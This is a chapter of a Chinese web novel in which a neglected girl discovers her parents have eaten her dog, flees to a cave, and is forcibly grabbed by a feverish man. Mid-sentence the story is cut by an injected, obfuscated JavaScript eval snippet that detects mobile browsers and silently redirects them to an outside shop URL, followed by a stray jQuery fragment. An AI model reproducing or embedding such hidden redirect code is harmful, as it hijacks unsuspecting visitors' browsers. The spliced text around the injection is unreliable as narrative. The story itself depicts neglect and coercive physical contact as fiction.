灵芝回到家中发现阿爹阿娘似乎生病了,两人并没有因为她没带回太多灵菇而打骂她,虽然也不高兴背篓坏了,但也只是挥挥手让她滚去地窖。
灵芝不知道爹娘生的是什么病,只是见两人面色苍白,佝偻着身子挪动脚步,似乎腹中很是疼痛,心中略微担忧。
爹娘两人只说都是因为灵芝没赚到钱,所以他们吃了烂叶菜才这样,这种事不是第一次发生了,灵芝又想到收菇人说吃脚大夫要来了,所以灵芝并没有将这件事放在心上。
灵芝饿了两日,又舍不得吃掉辛苦采回来的灵菇,此刻她躺在地窖中满脑子都是她要吃东西,所以她还是偷偷溜进了灶房。
爹娘还是没给灵芝留饭,她舀起锅里的米汤猛灌几口,直到腹中饱胀了,锅里的米汤也全部喝光了,她才停下。
她不愿去想为何阿爹阿娘有肉吃,因为问了必定会被骂,她只知道家中没什么米了,只有米多了、菜多了,她才能吃到残羹剩饭。
不过灵芝从不觉得自己过得不好,她很开心自己将爹娘养得健健康康的,这代表她是乖孩子,不是白眼狼不是魔教。
灵芝坐在屋檐上,两腿垂下轻轻晃动,此时还不是歇息的时刻,但是爹娘已经进屋了。
地扫完了,衣服也洗了,院中无人,难得悠闲。
初春寒凉,晚风吹拂幽凉,李家处于菇平村最偏僻的上峰,坐在屋檐上能看见底下几十户人家灯火葳蕤,还能看见很远处的隔壁村,星星点点布满山头。
“吃脚大夫......”灵芝碎碎念着这个有点好玩的名字,脸上挂着憧憬的笑。
最近灵菇降价了,收菇阿叔说的没错,她必须想别的办法赚钱了。
要给人治病吗?
可她只给阿狗和山洞那个人治过。
咦?那个人叫什么来着?
算了,记不住。
虽然她没治过病,但是她给阿狗和那人用过的漂亮菇都是自己曾经吃过的。其它没吃过的或者没发现有什么作用的菇,她不敢随便给别人用。
若是把人毒死了怎么办?那可是魔教才能干出来的坏事。
她是要给人治病的,不是害人的。
从小她就知道,阿爹阿娘以及村里的人最讨厌魔教了,灵芝也觉得魔教就是世界上最坏最坏的人。
她正想着,一阵带着湿意的凉风吹过,她被冷得寒毛竖起,浑身起了鸡皮疙瘩。
太好了,要下雨了,明日会有好多菇!
淅沥沥的小雨轻轻打在地窖木门上,雨声越来越密集,打得木门哒哒得响。
因为喝了太多米汤,灵芝不得已跑了几趟茅厕,腹中空了她又跑进灶房找吃的。
就在她失望嘟囔时,她从堆放垃圾的角落翻出个眼熟的东西。
手中木枝一下戳得太用力,断裂出清脆的响,脆响混在呜咽风雨声中消散。
带着雨水的寒风从伞上的破洞吹到她的后劲,她蹲在地上浑身血液倒流,浅瞳在眼眶中不断颤动,嘴唇久久无法合拢,就连呼吸都忘记了。
灰白长毛乱做一团死结,因为沾了许多血迹而变得污脏暗红,两个黄灯笼般的眼睛泛着僵直死寂的光,冰冷呆板的视线紧锁着灵芝。
暴雨从伞洞中淋湿了她的短发,雨水于发丝汇聚成股,流过她的眼眉、嘴角,最终在削瘦的下巴上形成水线落下。
“......阿狗。”灵芝轻轻地呼唤了一声,声音哽咽如被掐脖挤出。
“......”
阿狗并没有如之前那般欢快回应。
灵芝垂眸看着它半响,又后知后觉喃喃道:“阿狗,你在这儿呀,我寻了你好久。”
“叫你别到处跑,这下好啦,被吃掉了吧。”
她伸出断掉的木枝将布盖了回去,暴雨太凉了,凉得就像她掉落在冬日的冰湖中。
她浑身僵直麻木,艰难迈开步子,最终站在阿爹阿娘门外。
她伸出手想敲开门问点什么,可不知道到底该问什么。
其实阿狗本来就快死了,她被禁足那三日它淋了雨还摔伤了腿,那几日不知道它到底吃了什么,她看见它时,它已经躺在窝里奄奄一息了,腹中抽搐,嘴巴上全是血。
灵芝为了救它,用了山洞里大半的漂亮菇来给它吊命,但它的五脏六腑早就开始烂了,她无力回天。
阿爹阿娘知道她有一条狗,但是阿狗从不下山,每日只会将她送到山洞不远处便回去了,所以爹娘没见过阿狗,还说灵芝神志不清胡乱说话。
可阿狗为什么会出现在这里?
是专程来寻她的吗?
她每次想阿狗的时候也会直接去寻它,就算夜晚山中有许多野犬猛兽她也不在乎,所以阿狗想她,就来找她了,对吗?
爹娘知道她有一只狗,却不知道阿狗是她的狗,因为太久没吃过肉,村中也会有些人家打野狗吃,所以爹娘吃掉了阿狗,这不是错的,对吗?
她忽然好累,肺腑中连同双腿都变得很无力,她喘不过气也站不住脚,便原地蹲下。
破伞盖在背上,像被风吹雨打后的破烂灵菇,飘飘摇摇晃晃荡荡,但这个姿势让她安心。
部分雨水被伞隔绝在外,雨声如鼓点闷响,敲得她心中发慌,脑子胀麻耳中嗡鸣。
“阿狗,你真不乖。”
她抱着膝盖喃喃了许久。
“不听话就要受到惩罚。”
“你看那些漂亮菇,它们就很乖,不会乱跑一直在山洞里等我。”
灵芝蹲了半响,听了许久的鼾声,她的眼睛紧盯门板,视线恨不得钻进门缝中看着床上的两人。
阿爹阿娘睡得真好。
好到她难受,好到她想大叫一声将他们吓醒,然后像个顽劣的孩童一样咯咯大笑。
想在阿娘棍子落下时,她放声尖叫,叫破阿爹阿娘的耳朵,叫醒村中所有人。
可只有恶毒的魔教才会这样。
她不是魔教,所以她不能这么做。
她突然很想回山洞,想看看漂亮菇们。
想到这里,她猛地站起身,盖在背上的雨伞掉落在身后,被狂风吹得在地上旋转,她急匆匆跑出院子,用最快的速度奔向山洞。
被暴雨卷席的山林里偶尔能听见野兽嚎叫,湿润树叶被踩得不断发响,树叶上落下的雨水洗净了她的脸。
山路太滑,她的脚陷入淤泥又在地上打滑,一条熟悉的路,她跑了许久,也将自己摔成了泥人,泥巴又被雨水洗刷,留下肮脏的痕迹。
她耳中是喉咙里痛苦撕扯的呼吸声,干疼的嗓子尝到了铁锈味,空荡荡的腹中也跑得生疼。
但她停不下来,甚至还想更快点、再快点!
如果她会武功就好了,那样她是不是就能跑得更快?
那样的话,她就能跑过张阿蛋他们,不会因为没有采到灵菇被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371097|199907||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
禁足,阿狗就不会中毒,爹娘也会有钱吃别的肉。
为什么阿狗不听话?
为什么爹娘讨厌她?
为什么她保护不了阿狗?
——为什么她必须是好人?
她握拳用力锤动石门机关,门刚打开一点她立马矮身钻了进去。
她冲向木桌边,颤着手摸索木桌,冷得牙齿碰撞出咯咯响。
“好冷...”
桌上瓦片被她摸得相撞出乒乒乓乓的响动。
忽然山洞外雷鸣巨响,吓得她不慎将一片瓦砾扫下桌面,碎响打破山洞里的死寂。
“糟了。”
她连忙蹲下身子去摸被打碎的瓦片,这里的漂亮菇都是她费尽心思才养好的,任何一朵都极为重要。
看不见又摸不着,她往侧边挪了下脚步,伸手时触碰到一片滚烫。
她蹙起眉将手心覆盖在那片滚烫上摸索起来,入手触感细腻光滑,凹凸肌理还在不断起伏,她的手不断向上,摸到一点凸起时疑惑地捏了一下。
漂亮菇?不对。
她一边思索,手下的力气一边增大,忽然她耳中传来加重的深吸气。
是那个人!
她猛然想起山洞里还躺着个人,吓得连忙缩回手,但手刚离开那抹滚烫就被死死钳住了。
闪电骤亮,山洞瞬间被白色光芒照亮。
躺靠在石床边的人歪斜着脑袋,清隽的面庞上发丝凌乱,略微遮住了一侧幽深黑瞳,艳红薄唇微启露出洁白与腥红,汗湿的碎发贴在苍白肤色上,如深渊爬上岸的恶魂。
他的衣裳领口大敞,衣袖卷起,胸前瓷白肌肤衬得红色抓痕刺眼,一只手因为死死钳制着灵芝而筋肉分明,若隐若现的腹部肌肉遒劲有力。
他的表情冷漠森然,那双漆黑眼瞳就那么静静地盯着她,不知他到底看了多久。
闪电不过闪了两个呼吸,山洞再次恢复黑暗。
灵芝看见他那瞬间,心脏猛地停了一拍,她连忙抹了把脸,瞬间头皮发麻,浑身寒毛疙疙瘩瘩竖了起来。
她没带面具!
他看见她了!
他肯定看见了!
灵芝连忙用力甩他的手,可她的手腕像是被钉在了空气里一样,怎么甩都甩不动,怎么扯都扯不出来。
“热...”
他的声音沙哑又痛苦。
“好难受...”
晏月檀只觉浑身若被丢入了滚烫泥潭中,燥热烧光了他的理智,而他知道,手中握着的冰凉脆弱是他在泥潭中抓住的救命稻草。
他需要她。
他无论如何都不能放开她。
只有她才能缓解他的痛苦。
他要拖着她,让她下来。
这么想着,他的手臂猛地用力收紧,将脆弱狠狠砸向怀中。
冰凉入怀瞬间,他宽慰般叹了口气,感受到了挣扎,他的另一只手用力圈住瑟瑟发抖的柔韧细腰。
灵芝被迫趴伏在他胸膛,背后的手将她用力向前推动,被迫感受他猛烈起伏的呼吸。
“放...你...你放开我!”
她吓得声音都在发颤,浑身从头到尾都在抗拒这股莫名的且充满危险的气息。
这股气息令她不安,她曾经在猛虎身上感觉到过,但从未在人身上发现过。
这个人不对劲!名门正派定不会这般可怕,难道他是魔教?!